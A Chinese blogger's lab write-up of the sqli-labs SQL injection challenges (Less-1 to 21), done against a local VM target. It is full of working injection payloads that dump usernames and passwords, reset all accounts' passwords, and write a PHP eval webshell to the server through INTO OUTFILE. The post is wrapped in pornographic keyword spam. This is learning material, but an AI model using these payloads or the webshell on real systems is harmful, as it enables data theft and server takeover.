日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[NOTE] sqli-labs Basic Challenges

發(fā)布時(shí)間:2024/4/18 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [NOTE] sqli-labs Basic Challenges 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[NOTE] sqli-labs Basic Challenges

文章目錄

  • [NOTE] sqli-labs Basic Challenges
    • 前言
    • Less-1: GET-Error based-Single quotes–String
    • Less-2: GET-Error based-Intiger based
    • Less-3: GET-Error based-Single quotes with twist-String
    • Less-4: GET-Error based-Double Quotes-String
    • Less-5: GET-Double Injection-Single Quotes-String
    • Less-6: GET-Double Injection-Double Quotes-String
    • Less-7: GET-Dump into outfile-String
    • Less-8: GET-Blind-Boolian Based-Single Quotes
    • Less-9: GET-Blind-Time based-Single Quotes
    • Less-10: GET-Blind-Time based-double quotes
    • Less-11: POST-Error Based-Single quotes-String
    • Less-12: POST-Error Based-Double quotes-String-with twist
    • Less-13: POST-Double Injection-Single quotes-String-with twist
    • Less-14: POST-Double Injection-Single quotes-String-with twist
    • Less-15: POST-Blind-Boolian/time Based-Single quotes
    • Less-16: POST-Blind-Boolian/Time Based-Double quotes
    • Less-17: POST-Update Query-Error Based-String
      • updatexml()注入
    • Less-18: POST-Header Injection-Uagent field-Error based
      • extractvalue()注入
    • Less-19: POST-Header Injection-Referer field-Error based
    • Less-20: POST-Cookie injections-Uagent field-Error based
    • Less-21: POST-Dump into outfile-String

前言

針對sqli-labs靶場的做題筆記

環(huán)境
虛擬機(jī)環(huán)境
攻擊機(jī):kali 10.10.10.1
靶機(jī):ubuntu 10.10.10.2 小皮面板搭建Web服務(wù)

Less-1: GET-Error based-Single quotes–String

提示輸入數(shù)字參數(shù)id
正常輸入1,我是個(gè)dumb
輸入',報(bào)錯(cuò)了,順便知道用了limit 0,1限制輸出
輸入?id=' or '1'='1,回顯dumb,字符型注入
?id=1' order by 3 %23,得出字段數(shù)為3
?id=' union select 1,2,3 %23,得到回顯第2、3個(gè)字段:

然后就可以對第2、3個(gè)字段進(jìn)行修改,提取我們感興趣的信息

?id=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
提取當(dāng)前數(shù)據(jù)庫中的所有表名

?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
提取users表中的所有字段名

?id=' union select 1,group_concat(username),group_concat(password) from users %23
提取users表中的所有用戶名和對應(yīng)的密碼

Less-2: GET-Error based-Intiger based

和Less-1差不多,只是換成了數(shù)字型注入
信息獲取把id對應(yīng)的參數(shù)換成不存在的即可

Less-3: GET-Error based-Single quotes with twist-String

正常輸入?id=1,沒啥
輸入?id=’,報(bào)這種錯(cuò):

猜測查詢結(jié)構(gòu)類似為where id = (‘ $XXX ’)
輸入?id=’) or 1=1 %23驗(yàn)證,發(fā)現(xiàn)也回顯正常了
?id=') order by 4 %23報(bào)錯(cuò),得回顯字段數(shù)為3
?id=') union select 1,2,3 %23
下面略

Less-4: GET-Error based-Double Quotes-String

常規(guī)測試
/?id=',什么都沒報(bào)錯(cuò)
/?id=",報(bào)錯(cuò)如下:

/?id=” or 1=1 %23,報(bào)錯(cuò)如下:

/?id=”) or 1=1 %23,正常回顯
猜測查詢結(jié)構(gòu)類似為where id = (“ $XXX ”)

?id=") order by 4 %23

?id=") union select 1,2,3 %23

?id=") union select 1,database(),3 %23

?id=") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

?id=") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23

?id=") union select 1,group_concat(username),group_concat(password) from users %23

Less-5: GET-Double Injection-Single Quotes-String

常規(guī)測試
?id=1,顯示“you are in”

?id=99,啥也沒顯示
?id=’

?id=’ or ‘1’=’1

好像和之前的也沒啥區(qū)別?繼續(xù)?id=1’ order by 3 %23,回顯了:

?,繼續(xù)嘗試,得到返回字段數(shù)為3,進(jìn)一步?id=' union select 1,2,3 %23:

繼續(xù)?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

繼續(xù)?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23

繼續(xù)?id=' union select 1,group_concat(username),group_concat(password) from users %23

搞定了,What‘s the differences??

上網(wǎng)了解double injection,原來是雙查詢注入
重新嘗試
?id=1' union select 1, concat((select database()), floor(rand(14)*2)) as c, count(*) from information_schema.tables group by c %23
報(bào)錯(cuò)啊啊啊啊啊啊啊
首先是說什么兩個(gè)數(shù)據(jù)庫的字符集不同,然后又說什么

麻了,看多幾遍這兩個(gè)文章當(dāng)會了得了:
MySQL中Double Injection原理淺析
sqli-labs level5-6 雙查詢注入

Less-6: GET-Double Injection-Double Quotes-String

呃,聽說和Less-5一樣,只是單引號變成了雙引號

Less-7: GET-Dump into outfile-String

/?id=1

outfile?啥?
?id=‘

詳細(xì)報(bào)錯(cuò)也沒了
然后發(fā)現(xiàn)不管是單雙引號加上括號都不好使了
(其實(shí)是要讓前面為真,然后才跟or)
/?id=1、/?id=1’、/?id=1”
一三可以,二不行,字符型注入(測試不夠全面)
嘗試/?id=1” order by 9 %23,發(fā)現(xiàn)也能顯示you are in,不對勁
原來存在括號,而且是單引號包起來的變量,需要探測出來
/?id=1’)),顯示you are in
order by探測字段數(shù):?id=1')) order by 3 %23
?id=')) union select 1,2,3 %23,發(fā)現(xiàn)也只是顯示you are in,看來是不會在頁面顯示信息了

于是百度dump into outfile
MySQL的outfile函數(shù)用于將查詢結(jié)果寫入到服務(wù)器文件中
因?yàn)樯婕暗皆诜?wù)器上寫入文件,所以上述函數(shù)能否成功執(zhí)行受到參數(shù)secure_file_priv 的影響
然后到靶機(jī)中的my.cnf配置中新增了secure_file_priv=
這樣就可以不限制上傳位置了

?id=1')) union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' %23
雖然還是會顯示有語法錯(cuò)誤,但是實(shí)際上已經(jīng)上傳文件了(前提是要有對目標(biāo)文件夾的寫入權(quán)限(一般/tmp/會有,這里我臨時(shí)改了/www/的權(quán)限))
然后蟻劍鏈接,只獲得了/www/sqli-labs-master/的權(quán)限

Less-8: GET-Blind-Boolian Based-Single Quotes

基于布爾的盲注
/?id=1行、/?id=1‘不行、/?id=1”行——字符型單引號注入
/?id=1' order by 4 %23判斷字段數(shù)為3
?id=' union select 1,2,3 %23發(fā)現(xiàn)也只是顯示you are in,盲注

  • 猜解當(dāng)前數(shù)據(jù)庫名長度
    /?id=' or (length(database())=8) %23

  • 猜解數(shù)據(jù)庫名

  • 第一個(gè)字符
    /?id=' or (ascii(substr(database(),1,1))<=90) %23不對
    /?id=' or (ascii(substr(database(),1,1))<=122) %23對
    說明第一個(gè)字符為小寫字母(則很有可能全部字符都是小寫字母)
    二分法猜字母
    /?id=' or (ascii(substr(database(),1,1))<=109) %23不對
    /?id=' or (ascii(substr(database(),1,1))<=115) %23對
    /?id=' or (ascii(substr(database(),1,1))<=112) %23不對
    字符為113-115,逐個(gè)試
    /?id=' or (ascii(substr(database(),1,1))=115) %23對
    第一個(gè)字符為‘s‘

  • 第二個(gè)字符
    基于第一個(gè)字符的經(jīng)驗(yàn),猜測為小寫字母
    /?id=' or (ascii(substr(database(),2,1))<=109) %23對
    /?id=' or (ascii(substr(database(),2,1))<=103) %23對
    /?id=' or (ascii(substr(database(),2,1))<=100) %23不對
    字符為101-103,逐個(gè)試
    /?id=' or (ascii(substr(database(),2,1))=101) %23對
    第二個(gè)字符為‘e‘

  • 逐步猜解出數(shù)據(jù)庫名為’security’
    驗(yàn)證,/?id=' or (database()='security') %23對

  • 猜解數(shù)據(jù)庫中表的數(shù)量
    /?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=3) %23不對
    /?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=4) %23對
    說明當(dāng)前數(shù)據(jù)庫中表的數(shù)量為4
    (其實(shí)不用猜數(shù)據(jù)庫名?)

  • 猜解數(shù)據(jù)庫中表名的長度

  • 第一個(gè)表名長度
    /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=5) %23不對
    /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=6) %23對
    說明第一個(gè)表名的長度為6
  • 第二個(gè)表名長度
    /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=7) %23不對
    /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=8) %23對
    說明第二個(gè)表名的長度為8
  • 逐步猜解出四個(gè)表的表名長度依次為6、8、7、5(適當(dāng)使用二分法)
  • 猜解數(shù)據(jù)庫中的表名

  • 第一個(gè)表名
    猜表名很可能和數(shù)據(jù)庫名一樣是全小寫
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=109) %23對
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=103) %23對
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=100) %23錯(cuò)
    字符為101-103,逐個(gè)試
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) %23對
    第一個(gè)字符為‘e‘
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109) %23對
    第二個(gè)字符為‘m‘
    逐步猜出第一個(gè)表名為‘emails‘
    或者猜出前兩三個(gè)字符,配合長度為5,可以直接猜是‘emails‘
    驗(yàn)證,/?id=' or ((select table_name from information_schema.tables where table_schema=database() limit 0,1)='emails') %23對
  • 第二個(gè)表名
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114) %23對
    第一個(gè)字符為‘r’
    /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101) %23對
    第二個(gè)字符為‘e’
    逐步猜出第二個(gè)表名為‘referers’
  • 第三個(gè)表名為‘uagents’
  • 第四個(gè)表名為‘users’
  • 猜解users表的字段數(shù)
    ?id=' or ((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3) %23對
    users有3個(gè)字段

  • 猜解users表每個(gè)字段名的長度
    /?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)))=2) %23對
    第一個(gè)字段名長2
    /?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1)))=8) %23對
    第二個(gè)字段名長8
    逐步猜解三個(gè)字段名依次長2、8、8

  • 猜解users表的每個(gè)字段名

  • 第一個(gè)字段名
    /?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105) %23對
    第一個(gè)字符為‘i’
    完整名字是‘id’
  • 第二個(gè)字段名
    /?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=112) %23對
    第一個(gè)字符為‘p’
    第二個(gè)字符為‘a(chǎn)’
    結(jié)合長度為8,表名為‘users’,猜測為‘password’
    驗(yàn)證,/?id=' or ((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)='password') %23對
  • 第三個(gè)字段名為‘username’
  • 猜解username字段中值的數(shù)量
    /?id=' or ((select count(username) from users)=13) %23對
    有13個(gè)用戶

  • 猜解最后一個(gè)用戶名的長度
    /?id=' or (length(substr((select username from users limit 12,1),1))=6) %23對
    最后一個(gè)用戶名長6

  • 猜解最后一個(gè)用戶名
    這里需要注意的是,不要默認(rèn)是全小寫了,因?yàn)槭怯脩裘?#xff0c;首字母大寫或者是數(shù)字或者是別的情況都有可能
    /?id=' or ((ascii(substr((select username from users limit 12,1),1,1)))=97) %23對
    第一個(gè)字符為‘a(chǎn)’
    /?id=' or ((ascii(substr((select username from users limit 12,1),2,1)))=100) %23對
    第二個(gè)字符為‘d’
    第三個(gè)字符為‘m’
    第四個(gè)字符為‘i’
    第五個(gè)字符為‘n’
    /?id=' or ((ascii(substr((select username from users limit 12,1),6,1)))=52) %23
    第六個(gè)字符為‘4’
    最后一個(gè)用戶名為‘a(chǎn)dmin4’

  • 最后給出一些直接猜測常用表名、字段名的方法

  • 直接猜表名
    /?id=' or ((select count(*) from information_schema.tables where table_name='users' and table_schema=database())=1) %23對
    當(dāng)前數(shù)據(jù)庫中存在users表

  • 直接猜字段名
    /?id=' or ((select count(*) from information_schema.columns where column_name='username' and table_name='users')=1) %23
    users表中存在username字段

  • 直接猜字段值
    /?id=' or ((select count(*) from users where username='admin')=1) %23
    users表中存在admin用戶


  • 手工注入真丁8累,跑跑sqlmap爽一下

    爽中爽!!!

    Less-9: GET-Blind-Time based-Single Quotes

    基于時(shí)間的盲注,完全不會,先去學(xué)習(xí)一波
    原來,這時(shí)候的頁面無論給id傳什么值,是對是錯(cuò)都會顯示you are in(就等于沒有任何回顯信息),這時(shí)候只能通過時(shí)間延遲來判斷有沒有注入點(diǎn)
    首先是if(condition,A,B)語句,若condition成立,則返回A,否則返回B

    (下面的延時(shí)時(shí)間由于個(gè)人問題設(shè)的很小,實(shí)際效果也會延時(shí)挺久的)
    首先是判斷注入類型:
    /?id=' or if(1=1,sleep(1),0) %23:回應(yīng)有延時(shí)
    /?id=" or if(1=1,sleep(1),0) %23:回應(yīng)很快
    /?id= or if(1=1,sleep(1),0) %23:回應(yīng)很快
    說明是字符型注入,單引號
    然后剩下的就和布爾盲注類似,只不過判斷條件放到了if語句中,成立則延時(shí)

  • 判斷數(shù)據(jù)庫名長度
    /?id=' or if((length(database())=7),sleep(1),0) %23,回應(yīng)很快
    /?id=' or if((length(database())=8),sleep(1),0) %23,有延時(shí)
    說明數(shù)據(jù)庫名長度為8個(gè)字符
  • 判斷數(shù)據(jù)庫名第一個(gè)字符
    /?id=' or if((ascii(substr(database(),1,1))=115),0,sleep(0.5)) %23,回應(yīng)很快
    說明第一個(gè)字符為‘s‘
  • 下略

    另外關(guān)于是對是錯(cuò),什么時(shí)候延時(shí)不要限得太死,例如二分法時(shí)讓錯(cuò)的延時(shí),盡量讓容易出現(xiàn)的情況延時(shí)就好

    Less-10: GET-Blind-Time based-double quotes

    與Less-9類似,也是字符型時(shí)間盲注,只不過是雙引號
    最后用sqlmap跑跑盲注
    很奇怪,Less-9可以跑,Less-10卻不行

    Less-11: POST-Error Based-Single quotes-String

    POST型,變成了賬號密碼登錄頁面
    亂輸,我fail了
    輸入‘會顯示報(bào)錯(cuò)信息:
    check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ and password=’’ LIMIT 0,1’ at line 1

    兩個(gè)都輸1' or 1=1 #,登進(jìn)去了,顯示用戶名和密碼都是dumb
    字符型單引號布爾注入

    發(fā)現(xiàn)一個(gè)問題,username和password在SQL語句中的判定順序需要確定一下
    例如:
    check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2 #’ and password=’’ or union select 1,2 #’ LIMIT 0,1’ at line 1
    是先檢查username的,所以。。。。應(yīng)該把注入回顯放在password字段
    哦,也不是,直接注第一個(gè)字段就行,我是傻逼

    注POST一定要整個(gè)能夠Repeat的,像是BP、控制臺啥的,不然累死
    針對第一個(gè)字段的注入結(jié)果:

    Less-12: POST-Error Based-Double quotes-String-with twist

    僅在用戶名字段輸入“,報(bào)錯(cuò):
    check the manual that corresponds to your MySQL server version for the right syntax to use near ‘""") and password=("") LIMIT 0,1’ at line 1
    看來還有括號
    uname=") or 1=1 #&passwd=&submit=Submit
    完事啦:

    剩下常規(guī)注入即可。。。

    Less-13: POST-Double Injection-Single quotes-String-with twist

    uname='&passwd=&submit=Submit,報(bào)錯(cuò):

    單引號+括號
    uname=') or 1=1 #&passwd=&submit=Submit,不對勁:

    沒有具體字段的回顯,只顯示了正確
    這就盲注了?麻了

    哦哦,不是,是double injection,我是傻逼

    總結(jié)一下雙重注入的適用場景:正確輸入無信息,結(jié)構(gòu)錯(cuò)誤輸入會報(bào)錯(cuò)
    嘗試上面雙重注入提到的文章的方法
    發(fā)現(xiàn)還是會有字符集的錯(cuò)誤,吐了

    關(guān)于這題的博文

    Less-14: POST-Double Injection-Single quotes-String-with twist

    同上,單引號換雙引號

    Less-15: POST-Blind-Boolian/time Based-Single quotes

    盲注,只有成功、失敗/語法錯(cuò)誤兩種信息,且沒有報(bào)錯(cuò)提示
    判斷出字符型單引號盲注
    看一遍上面講過的流程,然后sqlmap

    Less-16: POST-Blind-Boolian/Time Based-Double quotes

    同上,單引號變成了雙引號+括號
    sqlmap跑不出?
    試試–level 5 --risk 3最高級別探測——成啦

    Less-17: POST-Update Query-Error Based-String

    啥玩意,更新注入?
    頁面變成了輸入了“用戶名”和“新密碼”,改密碼的意思嗎?
    而且還有個(gè)“[PASSWORD RESET]”字段顯示
    先試試常規(guī)注入,隨便輸個(gè)雙一,被罵了5555555
    然后試試用戶名admin,密碼欒樹,成功了,說明admin用戶存在,還被我們改了密碼?
    登入到網(wǎng)站后臺,發(fā)現(xiàn)密碼還真被改了
    那么怎么脫褲呢?

    這是MySQL的更新語句,猜測應(yīng)該是類似于下面這種:
    UPDATE table SET pwd='XX′WHEREusername=’XX' WHERE username=’XXWHEREusername=XXX’;
    那我是不是可以產(chǎn)生設(shè)置pwd之后注釋掉后面的語句,把所有用戶的密碼都改成我想要的?
    試試輸入用戶名admin,新密碼輸入123’ #
    登入后臺,發(fā)現(xiàn)還真全被改了:

    這種漏洞應(yīng)該可以用在“找回密碼->設(shè)置新密碼”這種地方

    所以怎么脫褲。。。。沖浪去了
    原來uname字段作足了過濾,無法注入(可能是為了保證更改密碼流程的執(zhí)行)
    只能在passwd字段作注入,可以使用雙重注入updatexml()注入
    passwd='or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
    下面的就常規(guī)進(jìn)行

    updatexml()注入

    是SQL語法中的函數(shù)
    UPDATEXML(XML_document, XPath_string, new_value)

    參數(shù):

  • XML_document是String格式,為XML文檔對象的名稱,文中為Doc
  • XPath_string (Xpath格式的字符串) ,用于匹配第一個(gè)參數(shù)中的部分內(nèi)容。(就像使用正則表達(dá)式匹配一個(gè)文本的特定內(nèi)容一樣)
  • new_value,String格式,替換查找到的符合條件的數(shù)據(jù)。
  • 作用:改變文檔中符合條件的節(jié)點(diǎn)

    利用updatexml函數(shù)的報(bào)錯(cuò)機(jī)制進(jìn)行注入,原理就是當(dāng)?shù)诙€(gè)參數(shù)的格式和Xpath的格式不符的時(shí)候,就會產(chǎn)生報(bào)錯(cuò),我們可以將我們的payload構(gòu)造到第二個(gè)參數(shù)中,讓其隨著報(bào)錯(cuò)信息展示到頁面上

    Less-18: POST-Header Injection-Uagent field-Error based

    請求頭注入?
    發(fā)現(xiàn)首頁還真給出了我的IP信息:

    那就抓包。。。。看了一圈,發(fā)現(xiàn)請求頭那里本身沒有IP信息,要自己加?

    沖浪,發(fā)現(xiàn)有一個(gè)X-Forwarded-For字段,不就是以前偽造是管理員的CTF題嗎?
    試試X-Forwarded-For:127.0.0.1,發(fā)現(xiàn)沒改到。。。。
    那就先試試常規(guī)注入,發(fā)現(xiàn)也都不行
    呃,沖浪

    如果成功登入會發(fā)現(xiàn)會會回顯User Agent信息

    那就猜注入點(diǎn)在請求頭中的User-Agent字段
    這里要求先能正確登入,才能改User-Agent字段注入
    對應(yīng)現(xiàn)實(shí)中先先注冊用戶再登錄,再注入
    由于User-Agent字段是會顯示在登錄成功頁面中的,于是猜測是不是也是先獲取字段內(nèi)容,然后嵌入到顯示語句中?

    開始亂改,輸入單引號:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’, ‘dumb’)’ at line 1
    看來有SQL語句
    輸入’123213:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123213’, ‘10.10.10.1’, ‘dumb’)’ at line 1
    難道SQL報(bào)錯(cuò)的規(guī)律是從出錯(cuò)的地方一直到語句末尾?
    那這個(gè)很像是插入語句。。。。(好吧其實(shí)我是看過做法了)
    試試1', '123', 'hack') #:
    Your User Agent is: 1’, ‘123’, ‘hack’) #

    沖浪,有如下的payload(updatexml注入):
    ' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or '

    爆表:
    ' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) or '

    爆字段:
    ' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1) or '

    爆內(nèi)容:
    ' or updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1) or '
    (注意用updatexml()只能查詢32位,要用substr函數(shù)逐段查詢)
    ' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1) or '
    ' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1) or '
    ' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 64, 32), 0x7e), 1) or '

    或者這種payload:
    ' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1), '', '' ) #
    猜出要插入多少段,主動閉合,然后最后注釋

    extractvalue()注入

    或者另一種注入:extractvalue注入——與updatexml類似

    extractvalue() :對XML文檔進(jìn)行查詢的函數(shù)
    語法:extractvalue(目標(biāo)xml文檔,xml路徑)

    爆庫:
    ' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '

    爆表:
    ' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)) or '
    ' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)), '', '')#

    下略

    Less-19: POST-Header Injection-Referer field-Error based

    請求頭注入——Referer字段
    登陸成功后是這種東西:

    Referer字段改成單引號:
    check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’)’ at line 1
    猜測是上一題的insert,嘗試', '', '')#:
    Column count doesn’t match value count at row 1
    emmm,看來列數(shù)有變。試出這樣子不會報(bào)錯(cuò):', '')#,看來是插入兩列

    爆庫:
    ' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1), '')#

    爆表:
    ' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1), '')#

    爆字段:
    ' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1), '')#

    爆內(nèi)容(注意使用substr函數(shù)分段查詢):
    ' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1), '')#root

    extractvalue()注入類似:
    ' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or ', '') #

    下略

    Less-20: POST-Cookie injections-Uagent field-Error based

    cookie注入?User-Agent字段
    亂登錄,好像沒啥
    dumb登錄:

    之后由于cookie值已保存,再次刷新也是這個(gè)頁面
    抓刷新的包,發(fā)現(xiàn)有發(fā)送過去的cookie——Cookie: uname=Dumb
    把uname改成dhakkan,呃,直接給出了對應(yīng)的內(nèi)容:

    如何利用cookie字段脫褲?
    從傳入名字會獲取密碼和id來看,猜測是類似于這樣的結(jié)構(gòu):
    select password,id from users where username=$_COOKIE[‘uname’]
    改單引號:
    check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’ LIMIT 0,1’ at line 1
    改成‘ or 1=1 #,通過,回顯id=1

    剩下的就是常規(guī)注入了
    dumb' order by 3 #
    ' union select 1,2,3 #——回顯3、1字段
    ' union select group_concat(table_name),2,database() from information_schema.tables where table_schema=database() #

    下略

    Less-21: POST-Dump into outfile-String

    大概和Less-7差不多吧,只是GET改POST,吧
    亂登沒結(jié)果
    正確登入的界面和上一題差不多,但是用戶名回顯的是經(jīng)過base64加密后的結(jié)果
    然后試了試常規(guī)地改cookie的uname值為單引號啥的,發(fā)現(xiàn)不太行
    是不是要傳入base64加密后的cookie值?
    于是傳入base64加密后的單引號:Jw==
    發(fā)現(xiàn)成功報(bào)錯(cuò):
    check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’) LIMIT 0,1’
    于是傳入') or 1=1 #的base64加密,成功

    下面就是常規(guī)注入了,只不過payload都要經(jīng)過base64加密
    那么Dump into outfile呢?再次復(fù)習(xí)一遍好了
    只不過這里的上傳webshell應(yīng)該也是通過cookie來注入
    試試?id=') union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' #的base64編碼
    呃:
    Issue with your mysql: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
    靶機(jī)就要有靶機(jī)的樣子,去關(guān)掉了:MySQL配置文件添加:secure_file_priv=
    再次嘗試上傳,成功(有警告)
    蟻劍連接,成功,但是同樣只有www用戶的權(quán)限

    總結(jié)

    以上是生活随笔為你收集整理的[NOTE] sqli-labs Basic Challenges的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 爱逼av | 在线成人 | 亚洲av无码一区二区三区网站 | 免费裸体视频女性 | 成人区人妻精品一区二 | 国产普通话bbwbbwbbw | 亚洲深夜视频 | 新版红楼梦在线高清免费观看 | 波多野结衣一区二区三区四区 | 中文字幕免费高清在线观看 | 欧美性受xxx黑人xyx性爽 | 日韩Av无码精品 | 欧美色鬼 | 国产伦精品一区二区三区视频痴汉 | 中日韩午夜理伦电影免费 | 91精品久久久久久久久 | 69视频在线看 | 免费污片网站 | 深田咏美中文字幕 | 亚洲最新av网站 | 亚洲综合另类 | 最新中文字幕第一页 | 最新三级网站 | 久久综合久久鬼色 | xxx国产| 夜夜天天拍拍 | 国产精品无码专区 | 大香依人 | 啪啪在线视频 | 黄色在线a | 成年人黄色| 青娱乐福利视频 | 亚洲成人精品久久久 | av不卡一区| 日本三级免费网站 | 欧美日韩午夜精品 | 一区二区三区精品久久久 | 国产精品视频专区 | 久久香蕉影院 | 加勒比色综合 | 日韩精品在线观看一区二区 | 97公开视频 | 女同性69囗交 | av在线播放免费 | 免费污网站在线观看 | 黄色免费入口 | 欧美黑人欧美精品刺激 | 欧美精品免费在线 | 国产一区二区三区 | 青青草原综合久久大伊人精品 | 成人性生交生交视频 | 成人三级在线看 | 在线观看亚洲网站 | 天天综合天天做 | 日韩三级网| 亚洲第一区视频 | 日本免费一区二区三区四区 | 天天超碰 | 无码人妻久久一区二区三区不卡 | 日本国产精品 | 都市激情av | 亚洲在线视频播放 | 黄色电影在线视频 | 精品成人免费一区二区在线播放 | 一区二区三区四区欧美 | 亚洲免费高清视频 | 91丨九色丨蝌蚪丨老版 | 丰满人妻一区二区三区免费视频棣 | 波多野结衣一区二区在线 | 成人在线免费视频播放 | 久久精品香蕉 | 伊人avav | 国产精品秘 | 国产精品乱码一区二三区小蝌蚪 | 黄色av网站在线免费观看 | 日本妈妈9 | 青草精品在线 | 日韩av导航| 国产精品成人免费视频 | 麻豆久久久久久 | 人人爽人人爽人人片av | 无码人妻精品一区二区三区夜夜嗨 | japanese在线| 超碰在线97观看 | 午夜爽爽视频 | 性――交――性――乱睡觉 | 亚洲电影中文字幕 | 超碰在线超碰 | 久久av一区二区三区亚洲 | 日韩欧美一卡 | 顶级黄色片 | 欧美黑人啪啪 | 欧亚一级片 | 久久av在线 | 久久久久国产一区二区 | 日韩一级特黄 | 亚洲AV无码国产精品 | 成人夜晚看av | 91久久精品一区二区三区 |